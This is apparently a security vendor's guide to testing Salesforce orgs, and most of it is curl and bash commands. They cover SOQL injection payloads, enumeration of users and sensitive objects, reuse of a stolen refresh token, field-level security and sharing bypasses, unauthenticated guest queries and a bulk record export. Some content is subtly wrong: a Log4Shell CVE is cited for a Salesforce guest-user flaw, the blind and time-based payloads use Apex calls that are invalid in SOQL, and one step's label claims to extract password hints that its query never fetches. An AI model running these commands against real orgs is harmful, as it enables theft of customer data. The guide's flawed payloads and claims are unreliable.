Salesforce Security Testing: SOQL Injection, API Permission Model, and Connected App Abuse

Salesforce holds some of the most sensitive data in any enterprise: customer records, deal values, contact information, support cases, and financial data. Its complex permission model — objects, fields, sharing rules, profiles, permission sets — creates significant misconfiguration surface. This guide covers SOQL injection, REST/SOAP API permission bypass, Connected App OAuth token abuse, Field-Level Security bypasses, sharing rule exploitation, and guest user access vulnerabilities.

Table of Contents

  1. Salesforce Instance Reconnaissance
  2. SOQL Injection Testing
  3. REST and SOAP API Permission Misconfiguration
  4. Connected App OAuth Token Abuse
  5. Field-Level Security Bypass
  6. Sharing Rule and OWD Exploitation
  7. Guest User Access Vulnerabilities
  8. Apex and Visualforce Security Issues
  9. Remediation and Hardening

Salesforce Instance Reconnaissance

Before testing Salesforce directly, gather information about the target org from public sources. Salesforce orgs expose their instance URL, API version, and org metadata through several discovery endpoints.

# Discover Salesforce org instance from company domain
# Salesforce instances follow pattern: *.my.salesforce.com or *.salesforce.com
nslookup companyname.my.salesforce.com
nslookup companyname.salesforce.com

# OR via login subdomain discovery
curl -s "https://companyname.my.salesforce.com/.well-known/openid-configuration" | jq .

# Enumerate API versions supported
curl -s "https://companyname.my.salesforce.com/services/data/" | python3 -m json.tool

# Check if community/experience cloud is exposed (common SSRF/auth bypass vector)
curl -s "https://companyname.my.site.com/" -I
curl -s "https://companyname.force.com/" -I

# Identify Salesforce org ID from public metadata
curl -s "https://companyname.my.salesforce.com/id/" | grep -i organizationId

# Check for exposed Salesforce Developer Console or Workbench
curl -s "https://companyname.my.salesforce.com/apex/IDE" -I
curl -s "https://workbench.developerforce.com/query.php" -I

OAuth Token Acquisition for Testing

# Salesforce OAuth 2.0 username-password flow (common in integrations)
# Requires: consumer_key, consumer_secret, username, password, security_token
curl -s -X POST "https://login.salesforce.com/services/oauth2/token" \
  -d "grant_type=password" \
  -d "client_id=YOUR_CONSUMER_KEY" \
  -d "client_secret=YOUR_CONSUMER_SECRET" \
  -d "username=user@company.com" \
  -d "password=PasswordSecurityToken" | jq '{access_token, instance_url}'

# Store for subsequent API calls
SF_TOKEN=$(curl -s -X POST "https://login.salesforce.com/services/oauth2/token" \
  -d "grant_type=password&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&username=$SF_USER&password=$SF_PASS$SF_SECURITY_TOKEN" | \
  jq -r '.access_token')

SF_INSTANCE="https://companyname.my.salesforce.com"

SOQL Injection Testing

SOQL (Salesforce Object Query Language) injection occurs when user input is concatenated into SOQL queries in Apex controllers, Visualforce pages, or REST API endpoints without proper escaping. Unlike SQL injection, SOQL injection cannot modify or delete data — but it enables significant data exfiltration through subqueries and schema enumeration.

# SOQL injection test payload examples
# Basic injection test — close string literal and add OR condition
# Vulnerable pattern: "SELECT Id FROM Account WHERE Name = '" + userInput + "'"
' OR Name != '

# SOQL comment bypass (SOQL has no line comments, but block comments work)
' /* injected */ OR '1'='1

# SOQL LIKE wildcard abuse
%'; SELECT Id, Name, AnnualRevenue FROM Account WHERE Name LIKE '

# Extract all accounts by bypassing filter
test' OR Account.Name != NULL OR Account.Name = '

# Extract through relationship subqueries
' UNION SELECT Id, Name, Email FROM Contact WHERE Name != '
# Note: SOQL doesn't support UNION — use WHERE 1=1 style bypass instead

# Boolean-based blind SOQL injection
' AND String.valueOf(1).equals('1') AND name = '   -- true
' AND String.valueOf(1).equals('2') AND name = '   -- false

# Time-based detection (SOQL has no sleep(), use computation)
' AND Math.pow(2, 30) > 0 AND name = '

# Test in Salesforce web UI search fields, Visualforce page inputs
# Look for URL parameters passed to SOQL: ?name=test&account=ACME
SOQL vs SQL: SOQL does not support INSERT, UPDATE, DELETE, or UNION. However, it supports subqueries through Salesforce's relationship traversal, which can expose related object data not intended to be accessible. Always test with WITH SECURITY_ENFORCED enforcement gaps.

Salesforce SOQL Injection via API

# Test SOQL injection via REST API query endpoint
# The /services/data/vXX.0/query endpoint allows direct SOQL queries
# If accessible with user context, test for privilege escalation via malformed queries

# Test direct query API
curl -s "$SF_INSTANCE/services/data/v59.0/query/?q=SELECT+Id,Name+FROM+Account+LIMIT+10" \
  -H "Authorization: Bearer $SF_TOKEN" | jq '.records[] | {Id, Name}'

# Check if ALL objects are queryable by current user
curl -s "$SF_INSTANCE/services/data/v59.0/query/?q=SELECT+Id,Name,Phone,AnnualRevenue+FROM+Account+LIMIT+1000" \
  -H "Authorization: Bearer $SF_TOKEN" | jq '.totalSize'

# Query sensitive objects that should be restricted
OBJECTS=("User" "ContentDocument" "ContentVersion" "Attachment" "EmailMessage" "Contact" "Lead" "Opportunity")
for obj in "${OBJECTS[@]}"; do
  COUNT=$(curl -s "$SF_INSTANCE/services/data/v59.0/query/?q=SELECT+COUNT()+FROM+$obj" \
    -H "Authorization: Bearer $SF_TOKEN" | jq '.totalSize // "ERROR"')
  echo "$obj: $COUNT records accessible"
done

# Extract user password hints and security questions
curl -s "$SF_INSTANCE/services/data/v59.0/query/?q=SELECT+Id,Username,Email,UserRole.Name+FROM+User+LIMIT+100" \
  -H "Authorization: Bearer $SF_TOKEN" | jq '.records[] | {Username, Email}'

REST and SOAP API Permission Misconfiguration

Salesforce's API permission model requires users to have the "API Enabled" permission in their profile or permission set. However, misconfigured profiles, integration users with excessive permissions, and Connected Apps with broad OAuth scopes create significant attack surface.

# Enumerate all accessible Salesforce objects and their CRUD permissions
curl -s "$SF_INSTANCE/services/data/v59.0/sobjects/" \
  -H "Authorization: Bearer $SF_TOKEN" | \
  jq '.sobjects[] | select(.queryable == true) | {name, createable, updateable, deletable}'

# Check metadata API access (very sensitive — exposes all configurations)
curl -s "$SF_INSTANCE/services/data/v59.0/tooling/query/?q=SELECT+Id,Name,Body+FROM+ApexClass+LIMIT+10" \
  -H "Authorization: Bearer $SF_TOKEN" | jq '.records[] | {Name}'

# SOAP API WSDL enumeration
curl -s "https://companyname.my.salesforce.com/soap/wsdl.jsp?type=partner" > partner.wsdl
curl -s "https://companyname.my.salesforce.com/soap/wsdl.jsp?type=enterprise" > enterprise.wsdl

# Test Apex REST endpoints (custom APIs that may bypass standard permissions)
curl -s "$SF_INSTANCE/services/apexrest/CustomEndpoint/" \
  -H "Authorization: Bearer $SF_TOKEN" | jq .

# Enumerate custom Apex REST endpoints from metadata
curl -s "$SF_INSTANCE/services/data/v59.0/tooling/query/?q=SELECT+Id,Name,Body+FROM+ApexClass+WHERE+Body+LIKE+'%@RestResource%'" \
  -H "Authorization: Bearer $SF_TOKEN" | jq '.records[].Name'

Connected App OAuth Token Abuse

Connected Apps in Salesforce enable third-party integrations via OAuth 2.0. Misconfigured Connected Apps — especially those using the deprecated username-password flow, overly broad scopes, or missing IP restrictions — are a common source of credential compromise and unauthorized data access.

# Enumerate Connected Apps via metadata API
curl -s "$SF_INSTANCE/services/data/v59.0/query/?q=SELECT+Id,Name,ConsumerKey+FROM+ConnectedApplication" \
  -H "Authorization: Bearer $SF_TOKEN" | jq '.records[] | {Name, ConsumerKey}'

# Check for Connected Apps using resource owner password credentials flow
# This flow sends username/password to third parties — look in code/config
grep -r "grant_type=password" /path/to/integration/code

# Test for misconfigured refresh token persistence
# Refresh tokens with no expiry allow indefinite access
curl -s -X POST "https://login.salesforce.com/services/oauth2/token" \
  -d "grant_type=refresh_token" \
  -d "client_id=$CONSUMER_KEY" \
  -d "client_secret=$CONSUMER_SECRET" \
  -d "refresh_token=$STOLEN_REFRESH_TOKEN"

# Check OAuth token scope of an access token
curl -s "https://login.salesforce.com/services/oauth2/userinfo" \
  -H "Authorization: Bearer $SF_TOKEN" | jq '{sub, name, email, organization_id}'

# List all OAuth tokens for a user (admin)
curl -s "$SF_INSTANCE/services/data/v59.0/query/?q=SELECT+Id,AppName,LastUsedDate,UserId+FROM+OauthToken+LIMIT+100" \
  -H "Authorization: Bearer $ADMIN_TOKEN" | jq '.records[] | {AppName, LastUsedDate}'

Field-Level Security Bypass

Field-Level Security (FLS) controls which fields users can see and edit on each object. Apex code that queries fields without enforcing FLS (using WITH SECURITY_ENFORCED or Security.stripInaccessible) exposes hidden fields through the API even when the UI doesn't show them.

# Test FLS bypass via REST API — request fields restricted by FLS
# If an Apex controller doesn't enforce FLS, API returns restricted fields anyway

# Example: Social Security Number field restricted by FLS
curl -s "$SF_INSTANCE/services/data/v59.0/sobjects/Contact/CONTACT_ID" \
  -H "Authorization: Bearer $SF_TOKEN" | jq '.SSN__c, .BankAccount__c, .Salary__c'

# Test tooling API for FLS bypass (accesses metadata, often less restricted)
curl -s "$SF_INSTANCE/services/data/v59.0/tooling/sobjects/CustomField/" \
  -H "Authorization: Bearer $SF_TOKEN" | jq '.fields[].name'

# Check if custom Apex endpoints bypass FLS
# Look for code without WITH SECURITY_ENFORCED or stripInaccessible
curl -s "$SF_INSTANCE/services/data/v59.0/tooling/query/?q=SELECT+Id,Body+FROM+ApexClass+WHERE+Name='AccountAPI'" \
  -H "Authorization: Bearer $SF_TOKEN" | jq '.records[].Body' | grep -v SECURITY_ENFORCED

# SOQL query with all fields — check which restricted fields are returned
curl -s "$SF_INSTANCE/services/data/v59.0/query/?q=SELECT+FIELDS(ALL)+FROM+Account+LIMIT+1" \
  -H "Authorization: Bearer $SF_TOKEN" | jq 'keys'

Sharing Rule and OWD Exploitation

Organization-Wide Defaults (OWD) and sharing rules determine which records users can access. When OWD is "Public Read/Write" on sensitive objects, all users can read and modify all records of that type. When sharing rules are misconfigured, users gain unintended access to other users' or groups' records.

# Check OWD configuration (admin access needed)
curl -s "$SF_INSTANCE/services/data/v59.0/tooling/query/?q=SELECT+SobjectType,DefaultAccess,InternalSharingModel,ExternalSharingModel+FROM+EntityDefinition+WHERE+SobjectType='Account'" \
  -H "Authorization: Bearer $ADMIN_TOKEN"

# Test record access — try accessing records owned by other users
# If sharing is misconfigured, you can read all records regardless of owner
RECORD_IDS=("00Q000000001234" "00Q000000001235")  # Lead IDs owned by others
for rid in "${RECORD_IDS[@]}"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    "$SF_INSTANCE/services/data/v59.0/sobjects/Lead/$rid" \
    -H "Authorization: Bearer $SF_TOKEN")
  echo "$rid: HTTP $STATUS"
done

# SOQL returns only records you have access to — high count indicates OWD exposure
curl -s "$SF_INSTANCE/services/data/v59.0/query/?q=SELECT+COUNT()+FROM+Lead" \
  -H "Authorization: Bearer $SF_TOKEN" | jq '.totalSize'

# Check user sharing — can you access records of users in different roles/territories?
curl -s "$SF_INSTANCE/services/data/v59.0/query/?q=SELECT+Id,LastName,Email,OwnerId+FROM+Lead+WHERE+OwnerId+!=+'$MY_USER_ID'+LIMIT+10" \
  -H "Authorization: Bearer $SF_TOKEN" | jq '.totalSize'

Guest User Access Vulnerabilities

Salesforce Experience Cloud (communities) allows unauthenticated "Guest User" access. Misconfigured guest user permissions are one of the most common Salesforce vulnerabilities — Salesforce issued a security alert in 2021 warning about overly permissive guest user profiles exposing PII.

# Test for guest user access to Experience Cloud
# Guest users have a special profile with limited permissions
curl -s "https://companyname.my.site.com/services/data/v59.0/query/?q=SELECT+Id,Name+FROM+Account+LIMIT+10"

# Test unauthenticated REST API access via Experience Cloud
curl -s "https://companyname.force.com/community/services/apexrest/PublicEndpoint/" | jq .

# Check if guest user can query sensitive objects
GUEST_QUERIES=(
  "SELECT+COUNT()+FROM+Contact"
  "SELECT+COUNT()+FROM+Lead"
  "SELECT+COUNT()+FROM+Opportunity"
  "SELECT+COUNT()+FROM+Case"
)

for q in "${GUEST_QUERIES[@]}"; do
  COUNT=$(curl -s "https://companyname.my.site.com/services/data/v59.0/query/?q=$q" | jq '.totalSize // "ERROR"')
  echo "Guest query $q: $COUNT"
done

# Test guest user accessing user directory
curl -s "https://companyname.my.site.com/services/data/v59.0/query/?q=SELECT+Id,Username,Email+FROM+User+LIMIT+10" | jq .

# Check for CVE-2021-44228 style guest user privilege escalation
# Salesforce patched excessive guest user sharing in Spring '22 release

Apex and Visualforce Security Issues

# Test for Apex SOSL injection (Salesforce Object Search Language)
# Vulnerable: FIND {' + userInput + '} IN ALL FIELDS
# Payload: ' OR name LIKE '% (closes string, adds OR)

# Test Visualforce XSS — look for apex:outputText without escape="false"
# Default in Visualforce is escape="true", but dev overrides create XSS
curl -s "https://companyname.my.salesforce.com/apex/PageName?param=" | \
  grep -i "script"

# Test for unprotected Visualforce pages (no authentication required)
curl -s "https://companyname.my.salesforce.com/apex/PublicPage" -I

# Check for CSRF vulnerabilities in Apex Controllers
# Look for POST forms without {!$Page.Name.token} ViewState protection

# Test Apex REST endpoint rate limiting and authentication
curl -s -X POST "$SF_INSTANCE/services/apexrest/BulkDataEndpoint/" \
  -H "Authorization: Bearer $SF_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"batchSize": 50000, "exportType": "ALL_RECORDS"}'

Remediation and Hardening

Finding Risk Remediation
SOQL injection in Apex High Use String.escapeSingleQuotes() or parameterized queries with bind variables
FLS not enforced High Add WITH SECURITY_ENFORCED to SOQL or use Security.stripInaccessible()
Permissive guest user profile Critical Audit and restrict guest user permissions; enable "Secure guest user record access"
Connected App username-password flow High Migrate to OAuth 2.0 JWT Bearer Flow or Client Credentials; disable password flow
Public OWD on sensitive objects High Change OWD to Private or Public Read Only and use explicit sharing rules
API-enabled for all profiles Medium Remove API Enabled permission from standard user profiles; use dedicated integration profiles
Refresh tokens without expiry Medium Set Connected App session policies with refresh token expiry and IP restrictions
Automated Assessment: Ironimo can scan your Salesforce-integrated web applications for SOQL injection vectors, exposed API endpoints, and OAuth misconfiguration patterns — with detailed evidence and remediation guidance.

Test Your Salesforce Integration Security

Ironimo's automated scanner identifies SOQL injection, API permission gaps, and Connected App vulnerabilities in your Salesforce-integrated web applications. Purpose-built for the security teams protecting enterprise CRM data.

Start free scan